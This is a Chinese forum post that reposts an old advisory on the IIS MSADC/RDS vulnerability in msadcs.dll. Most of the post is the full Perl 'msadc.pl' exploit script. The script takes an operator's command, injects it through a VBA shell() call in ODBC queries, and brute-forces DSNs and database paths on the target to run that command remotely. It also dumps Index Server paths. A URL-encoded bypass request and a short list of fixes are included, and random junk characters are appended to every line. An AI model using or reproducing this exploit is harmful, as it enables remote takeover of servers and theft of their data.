社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 167542阅读
  • 1回复

IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) .kTOG'K\e  
g 'td(i[  
涉及程序: BOD!0CR5  
Microsoft NT server y;%\ w-.\  
<'48mip  
描述: NHcA6y$Cz  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 J+T tM>  
{e1sq^>|  
详细: X]D:vuB  
如果你没有时间读详细内容的话,就删除: C`-CfZZ  
c:\Program Files\Common Files\System\Msadc\msadcs.dll @; tM R|p  
有关的安全问题就没有了。 :`>tCYy;  
CzI s_/  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 2%| n}V[  
4+89 M  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 Tb!FO"o  
关于利用ODBC远程漏洞的描述,请参看: dA^{}zZu  
;oO_5[,M  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm C~WWuju'  
A-, hm=?  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 =b8u8*ua  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp B.!&z-)#  
c D .;  
这里不再论述。 jZH4]^De  
uqD|j:~ =k  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: s@E) =;!  
nvA7eTO6C  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset L F&!od9[  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! E:-~SH}  
[dXa,  
BY9Z}/{j  
#将下面这段保存为txt文件,然后: "perl -x 文件名" D< kf/hj  
?M^qSo=/~  
#!perl 3.9/mztS  
# Dk&(QajL  
# MSADC/RDS 'usage' (aka exploit) script ~pHuh#>  
# h/2@4XKj  
# by rain.forest.puppy eFotV.T!#  
#  F&lH5  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me @NL37C  
# beta test and find errors! a|(|!=  
5A^8?,F@  
use Socket; use Getopt::Std; $inKI  
getopts("e:vd:h:XR", \%args); j\NCoos  
B)/c]"@89  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; qO/3:-  
f@q.kD21  
if (!defined $args{h} && !defined $args{R}) { v2a(yH  
print qq~ +_25E.>ml  
Usage: msadc.pl -h <host> { -d <delay> -X -v } {?q`9[Z  
-h <host> = host you want to scan (ip or domain) ^/cqE[V~,  
-d <seconds> = delay between calls, default 1 second hi4-Z=pl  
-X = dump Index Server path table, if available #K*p1}rf  
-v = verbose pNZ3vTs6  
-e = external dictionary file for step 5 *>HS>#S  
A-d<[@d0  
Or a -R will resume a command session Z78i7k}  
ko|M2\  
~; exit;} _v(5vx_ {  
#s ' `bF^  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; cm!|A?-<  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} .l|29{J  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} !? H:?  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); !1K.HdK  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} NJmx(!Xsh  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }  E(wS6  
H=w6  
if (!defined $args{R}){ $ret = &has_msadc; LK!sk5/  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} (pHJEY  
0d+b<J,  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" _ nz^+  
. "cmd /c "; @=2u;$.  
$in=<STDIN>; chomp $in; Hzc}NyJ  
$command="cmd /c " . $in ; }x& X vI  
}gFa9M<  
if (defined $args{R}) {&load; exit;} b4EUr SL  
6G#[Mc yn  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; `t44.=%  
&try_btcustmr; ;#+I"Ow  
]HB1JJiS~  
print "\nStep 2: Trying to make our own DSN..."; BG)zkn$  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; `z.sWF|f!O  
>DbG )0|  
print "\nStep 3: Trying known DSNs..."; )A6=P%;}>I  
&known_dsn; &/:c?F?l  
C1(RgY|  
print "\nStep 4: Trying known .mdbs..."; [w-Tf&  
&known_mdb; k<Xb< U  
sva-Sd8  
if (defined $args{e}){ \gK'g-)}  
print "\nStep 5: Trying dictionary of DSN names..."; xwW(WHdC]  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } !I\eIV>0b  
P : L6Zo-J  
print "Sorry Charley...maybe next time?\n"; >wL!`:c'"  
exit; MRZN4<}9  
4E}Q<?UYSt  
############################################################################## b|G~0[g  
:7X{s4AU6  
sub sendraw { # ripped and modded from whisker nr8#;D  
sleep($delay); # it's a DoS on the server! At least on mine... ,aq>9\ pi  
my ($pstr)=@_; +fKV/tSWi  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || ;8 *"c  
die("Socket problems\n"); %rf6 >  
if(connect(S,pack "SnA4x8",2,80,$target)){ t/%[U,m  
select(S); $|=1; ~|"uuA1/#O  
print $pstr; my @in=<S>; 6i~<,;Cn  
select(STDOUT); close(S); MtgY `p  
return @in; ydRS\l  
} else { die("Can't connect...\n"); }} ! ,{N>{I  
Oiqc]4TL  
############################################################################## H#WqO<<v  
X+HPdrT  
sub make_header { # make the HTTP request 6' \M:'<0e  
my $msadc=<<EOT wuxOFlrg  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 r+6 DlT a  
User-Agent: ACTIVEDATA @3 +   
Host: $ip q4'`qe  
Content-Length: $clen ??|,wIRz  
Connection: Keep-Alive A[`c+&  
~(NFjCUY?  
ADCClientVersion:01.06 1K)9fMr]  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 p%X.$0  
x_/l,4_  
--!ADM!ROX!YOUR!WORLD! /UY'E<wBx  
Content-Type: application/x-varg R<hsG%BS(D  
Content-Length: $reqlen X+ybgB4(  
cG3tn&AXi  
EOT Lpnw(r9Y  
; $msadc=~s/\n/\r\n/g; }5z!FXB  
return $msadc;} #N'9F&:V$  
s<:) ;-tL  
############################################################################## 33a}M;vx  
y5D3zqCG  
sub make_req { # make the RDS request |mdf u=  
my ($switch, $p1, $p2)=@_; 0R0_UvsXU  
my $req=""; my $t1, $t2, $query, $dsn; q$s)(D  
\ f VX<L  
if ($switch==1){ # this is the btcustmr.mdb query mi5bk>o  
$query="Select * from Customers where City=" . make_shell(); /xr75|-8  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . P1]F0fR  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} "jq6FT)O  
c=a;<,Rzb  
elsif ($switch==2){ # this is general make table query v}z^M_eFm  
$query="create table AZZ (B int, C varchar(10))"; %m/5! "  
$dsn="$p1";} 9Uz2j$p7  
o)CW7Y#?,  
elsif ($switch==3){ # this is general exploit table query Xi+l1xe  
$query="select * from AZZ where C=" . make_shell(); .)1u0 (?  
$dsn="$p1";} {}gL*2:EW$  
"]=XB0)  
elsif ($switch==4){ # attempt to hork file info from index server EiDpy#f}  
$query="select path from scope()"; V' i@N  
$dsn="Provider=MSIDXS;";} _g D9oK  
31M'71s  
elsif ($switch==5){ # bad query ?VTP|Z  
$query="select"; CG J_k?h  
$dsn="$p1";} mZ3Z8q}%P  
yM(ezb  
$t1= make_unicode($query); x[BA <UNO  
$t2= make_unicode($dsn); C nD3%%  
$req = "\x02\x00\x03\x00"; Fa </  
$req.= "\x08\x00" . pack ("S1", length($t1)); OU^I/TU  
$req.= "\x00\x00" . $t1 ; &sXk!!85:  
$req.= "\x08\x00" . pack ("S1", length($t2)); D$D;'Kij  
$req.= "\x00\x00" . $t2 ; %RzkP}1>E  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; Lm0q/d2|\X  
return $req;} `d x.<R#,  
Y9%zo~]-W'  
############################################################################## c"Q9ob  
V4W(> g  
sub make_shell { # this makes the shell() statement $%ztP Ta  
return "'|shell(\"$command\")|'";} D*_. 4I  
uMZ<i}  
############################################################################## qA25P<  
\ 9sJ`,T?  
sub make_unicode { # quick little function to convert to unicode NjdDImz.;s  
my ($in)=@_; my $out; hsQ*ozv[)  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } {t:*Xu  
return $out;} MQy,[y7I  
m (kKUv  
############################################################################## ?8<R)hJa<  
B7%m7GM  
sub rdo_success { # checks for RDO return success (this is kludge) q^QLNKOH"  
my (@in) = @_; my $base=content_start(@in); (8~Hr?1B  
if($in[$base]=~/multipart\/mixed/){ 3#F"UG2,_  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} / =v1.9(  
return 0;} C [8='i26  
N]|)O]/[  
############################################################################## lZ`@ }^&  
7L]Y.7>  
sub make_dsn { # this makes a DSN for us ^5FwYXAxi  
my @drives=("c","d","e","f"); wqX!7rD/g)  
print "\nMaking DSN: "; -.Z;n1'^  
foreach $drive (@drives) { <#T #+uO  
print "$drive: "; #,!/Cnqis  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . !Pd)  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" u 1Wixjd|  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); H~0B5Hl!F  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; t-]~^s  
return 0 if $2 eq "404"; # not found/doesn't exist xp\6,Jyh  
if($2 eq "200") { h<!!r  
foreach $line (@results) { !\\1#:*_W  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} 3Z%jx#  
} return 0;} &iJvkt  
RTL@WI  
############################################################################## WtMDHfwqu\  
d#I; e  
sub verify_exists { edlsS}8^  
my ($page)=@_; 'puiahA  
my @results=sendraw("GET $page HTTP/1.0\n\n"); .bRDz:?j  
return $results[0];} 5hlS2fn  
v0pev;C  
############################################################################## 5&134!hC  
 LD}<|  
sub try_btcustmr { ovvg"/>L  
my @drives=("c","d","e","f"); 7X.B  
my @dirs=("winnt","winnt35","winnt351","win","windows"); V?jot<|$  
o& ?:pE  
foreach $dir (@dirs) { l<s6Uu"  
print "$dir -> "; # fun status so you can see progress <VT|R~  
foreach $drive (@drives) { okbW.  ~  
print "$drive: "; # ditto [R/'hH5  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; !XF:.|  
$reqlenlen=length( "$reqlen" ); g'.(te |  
$clen= 206 + $reqlenlen + $reqlen; -&np/tEu&  
;7mE%1X  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); N6!9QIu~i  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} PD:lI]:s  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} m=^ihQ  
Q\2~^w1V  
############################################################################## (:7Z-V2(  
oUN;u*  
sub odbc_error { 1@^*tffL:  
my (@in)=@_; my $base; kAAD&t;w  
my $base = content_start(@in); kY~o3p<  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this 6CNxb  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; Mqmy*m[U  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; V_=7q=9mV  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; p8E6_%Rw  
return $in[$base+4].$in[$base+5].$in[$base+6];} _%PEv{H0.  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; 7qhX `$  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . H\=S_b1wo  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} -JXCO <~k  
9Pdol!  
############################################################################## ;0O>$|kg  
nSbcq>3  
sub verbose { _Xfn  
my ($in)=@_; h09fU5l  
return if !$verbose; S&Sa~Oq<o  
print STDOUT "\n$in\n";} CVGQ<,KVW  
JcW<<7R  
############################################################################## cdD?QnZ  
2zbV9Bhq  
sub save { s-T#-raE  
my ($p1, $p2, $p3, $p4)=@_; E~c>LF_]Q  
open(OUT, ">rds.save") || print "Problem saving parameters...\n";  dm{/  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; RjGJfN {  
close OUT;} &MP +  
T^ RYN  
############################################################################## rL6Y4u0e%  
M tBoX*"  
sub load { RJ$x{$r[  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; U^9#uK6GM  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); - ]U2G:  
@p=<IN>; close(IN); xn2f!\%p  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); l1" *  
$target= inet_aton($ip) || die("inet_aton problems"); y- @{  
print "Resuming to $ip ..."; m+pFU?<|  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; |j!U/n.%w  
if($p[1]==1) { $6*6%T5}  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; x^6b$>1  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; ,h* 'Cs04h  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); 70T{tB  
if (rdo_success(@results)){print "Success!\n";} Q>l5:2lq  
else { print "failed\n"; verbose(odbc_error(@results));}} G"F:68  
elsif ($p[1]==3){ N/r8joi#  
if(run_query("$p[3]")){ aQL$?,  
print "Success!\n";} else { print "failed\n"; }} ^7V{nT@H3  
elsif ($p[1]==4){ M1e79p<  
if(run_query($drvst . "$p[3]")){ ZKoISuM  
print "Success!\n"; } else { print "failed\n"; }} O|Y~^:ny  
exit;} _K<Z  
~)]R  
############################################################################## YC =:W  
xt X`3=s  
sub create_table { yMKVF`D*  
my ($in)=@_; i-`J+8|d  
$reqlen=length( make_req(2,$in,"") ) - 28; :lp V  
$reqlenlen=length( "$reqlen" ); p!H'JNG  
$clen= 206 + $reqlenlen + $reqlen; K&TO8   
my @results=sendraw(make_header() . make_req(2,$in,"")); +y9WJ   
return 1 if rdo_success(@results); Ag0)> PD^  
my $temp= odbc_error(@results); verbose($temp); 'zfj`aqc  
return 1 if $temp=~/Table 'AZZ' already exists/; *n2le7  
return 0;} rFG_CC2  
g6 6SCr}  
############################################################################## U$=#yg2 :  
P] qL&_  
sub known_dsn { \CZD.2p#&  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go Yjh02wo  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", 'qiDh[ATa  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", ;.&k zzvJ  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); HkdBPMs79  
s=83a{#K  
foreach $dSn (@dsns) { )wfqGkr=m!  
print "."; C0 o  
next if (!is_access("DSN=$dSn")); 2~)r,.,  
if(create_table("DSN=$dSn")){ %%hG],w  
print "$dSn successful\n"; ]seOc],4  
if(run_query("DSN=$dSn")){ ?j@(1",=&  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { R9)"%SO<y  
print "Something's borked. Use verbose next time\n";}}} print "\n";} \'-E[xNcWI  
V8" m_  
############################################################################## 5PPaR|c3  
e&ci\x%  
sub is_access { ^#)]ICV  
my ($in)=@_; I|vfxf  
$reqlen=length( make_req(5,$in,"") ) - 28; N7mYE  
$reqlenlen=length( "$reqlen" ); hmr2(f%U  
$clen= 206 + $reqlenlen + $reqlen; G?5Vj_n  
my @results=sendraw(make_header() . make_req(5,$in,"")); @$!rgLyL[  
my $temp= odbc_error(@results); sJ5Ws%q  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); J6RzN'j  
return 0;} ,^uQw/  
Q> J9M` a  
############################################################################## }C<$q  
9UE)4*5  
sub run_query { _j}jh[M  
my ($in)=@_; 7'idjcR  
$reqlen=length( make_req(3,$in,"") ) - 28; %>!$ eCX  
$reqlenlen=length( "$reqlen" ); R 9b0D>Lxt  
$clen= 206 + $reqlenlen + $reqlen; u E<1PgW  
my @results=sendraw(make_header() . make_req(3,$in,"")); ,<!v!~Iy  
return 1 if rdo_success(@results); Vl%UT@D|  
my $temp= odbc_error(@results); verbose($temp); (u-eL#@  
return 0;} ]lZ g }7h  
l3HfaCP6:  
############################################################################## '0 J*9  
V&Q_i E  
sub known_mdb { fO t?2Bh  
my @drives=("c","d","e","f","g"); Ln"D .gpq  
my @dirs=("winnt","winnt35","winnt351","win","windows"); vMeB2r<  
my $dir, $drive, $mdb; ZFNg+H/k  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; u{%dm5  
BY`vs+]XY  
# this is sparse, because I don't know of many Fb\ E39  
my @sysmdbs=( "\\catroot\\icatalog.mdb", :'X:cL  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", (e _l1O?  
"\\system32\\certmdb.mdb", HJt@m &H|  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% yGvBQ2kYb  
n'qWS/0U=  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", BKk+<#Ti  
"\\cfusion\\cfapps\\forums\\forums_.mdb", vX<^x2~9(  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", ^:Fj+d  
"\\cfusion\\cfapps\\security\\realm_.mdb", F-%Hw  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", -SUK [<=X  
"\\cfusion\\database\\cfexamples.mdb", aXh~w<5F  
"\\cfusion\\database\\cfsnippets.mdb", )8*}-z  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", \"1%>O*  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", @cu#rWiG  
"\\cfusion\\brighttiger\\database\\cleam.mdb", \/F*JPhy  
"\\cfusion\\database\\smpolicy.mdb", XWag+K  
"\\cfusion\\database\cypress.mdb", L*(`c cU  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", G|.6%-  
"\\website\\cgi-win\\dbsample.mdb", #&K?N  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", Ox9M![fC  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" UOn:@Qn  
); #these are just 8'#L+$O &N  
foreach $drive (@drives) { ErxvGB(2  
foreach $dir (@dirs){  EHk$,bM  
foreach $mdb (@sysmdbs) { _@OS,A  
print "."; KtD XB>  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ 9NeHN@D)  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; Y@ X>ejk"  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ )LTX.Kg  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; V)A7q9Bum  
} else { print "Something's borked. Use verbose next time\n"; }}}}} Nj=0bg"Qg5  
z^u*e  
foreach $drive (@drives) { /B)`pF.n  
foreach $mdb (@mdbs) { YT}ZLx  
print "."; ]\ t20R{z  
if(create_table($drv . $drive . $dir . $mdb)){ *=X61`0  
print "\n" . $drive . $dir . $mdb . " successful\n"; 1'f&  
if(run_query($drv . $drive . $dir . $mdb)){  xq&r|el  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; 1 RVs!;  
} else { print "Something's borked. Use verbose next time\n"; }}}} )>,ndKT~  
} W0XfU`  
W5Vh+'3  
############################################################################## (/KeGgkhv  
jbWgL$  
sub hork_idx { HsKq/Oyk  
print "\nAttempting to dump Index Server tables...\n"; "xAIK  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; [C{oj*"c]  
$reqlen=length( make_req(4,"","") ) - 28; 3L:SJskYR  
$reqlenlen=length( "$reqlen" ); mwO9`AU;  
$clen= 206 + $reqlenlen + $reqlen; ujS C  
my @results=sendraw2(make_header() . make_req(4,"","")); ^J'O8G$  
if (rdo_success(@results)){ %#TAz7  
my $max=@results; my $c; my %d; fLZ mQO  
for($c=19; $c<$max; $c++){ u4h.\ul8%  
$results[$c]=~s/\x00//g; = ( 4l  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; Og7^7))  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; $},_O8R  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; a%r(F  
$d{"$1$2"}="";} 1>L8EImx]V  
foreach $c (keys %d){ print "$c\n"; } Dg*'n  
} else {print "Index server doesn't seem to be installed.\n"; }} X}g"_wN,g>  
z&yVU<;  
############################################################################## Mh]4K" cs  
j937tn!Q  
sub dsn_dict { .f&Z+MQ  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); ;:/C.%d  
while(<IN>){ zMh`Uqid  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; Rk#p zD  
next if (!is_access("DSN=$dSn")); QL:Qzr[  
if(create_table("DSN=$dSn")){ z}F^HQ 1  
print "$dSn successful\n"; 2TgS )  
if(run_query("DSN=$dSn")){ u Au'2M,_  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { 9r> iP L2H  
print "Something's borked. Use verbose next time\n";}}} %E[ $np>  
print "\n"; close(IN);} 8ib e#jlg  
|? rO  
############################################################################## g%okYH?  
Pq1j  
sub sendraw2 { # ripped and modded from whisker Ml6}47n  
sleep($delay); # it's a DoS on the server! At least on mine... 'EC0|IT)c  
my ($pstr)=@_; a fLE9  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || e!vWGnY  
die("Socket problems\n"); Zn:]?%afdO  
if(connect(S,pack "SnA4x8",2,80,$target)){ kQ"Ax? b  
print "Connected. Getting data"; oiOu169]  
open(OUT,">raw.out"); my @in; iUq_vQ@} }  
select(S); $|=1; print $pstr; @H}{?-XyA  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} 5Gm8U"UR  
close(OUT); select(STDOUT); close(S); return @in; \+"Jg/)ij  
} else { die("Can't connect...\n"); }} 5xQ5)B4k  
WO$8j2!~#  
############################################################################## F`>qg2wO  
x>+sqFd\  
sub content_start { # this will take in the server headers 2M)E1q|a  
my (@in)=@_; my $c; `yh][gqVE~  
for ($c=1;$c<500;$c++) { q8MyEoc:n  
if($in[$c] =~/^\x0d\x0a/){ \+Y5b}  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } ^UBzX;|p  
else { return $c+1; }}} ~:*V'/2k  
return -1;} # it should never get here actually #vc!SI  
M zF,is  
############################################################################## F~/~_9RJ  
rpc;*t+z  
sub funky { F^&@[k7WW  
my (@in)=@_; my $error=odbc_error(@in); ?*6Q ;.f<  
if($error=~/ADO could not find the specified provider/){ ni6zo~+W]  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; }(oWXwFb&W  
exit;} xeKm} MN]S  
if($error=~/A Handler is required/){ ,YRBYK:  
print "\nServer has custom handler filters (they most likely are patched)\n"; #Q BW%L  
exit;} JsEnhE}]  
if($error=~/specified Handler has denied Access/){ WR_B:%W.  
print "\nServer has custom handler filters (they most likely are patched)\n"; hqV_MeHv'  
exit;}} @u`m6``T  
<pM6fI6BD  
############################################################################## :;\xyy}A  
Gp=V%w\FDW  
sub has_msadc { fi%lN_Ev?  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); >^SQrB   
my $base=content_start(@results); _o&NbDH  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); lT~WP)  
return 0;} k"E|E";B  
yv: Op\;R  
######################## &3SmTg %  
H9Vn(A8&`  
`JyI`@,!  
解决方案: ^CD? SP"i  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll &'Xgf!x  
2、移除web 目录: /msadc
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-06-30
很老的一篇文章 _C19eW'  
!pHI`FeAV  
拿出来充数 哈哈
描述
快速回复

您目前还是游客,请 登录注册
如果您在写长篇帖子又不马上发表,建议存为草稿
认证码:
验证问题:
10+5=?,请输入中文答案:十五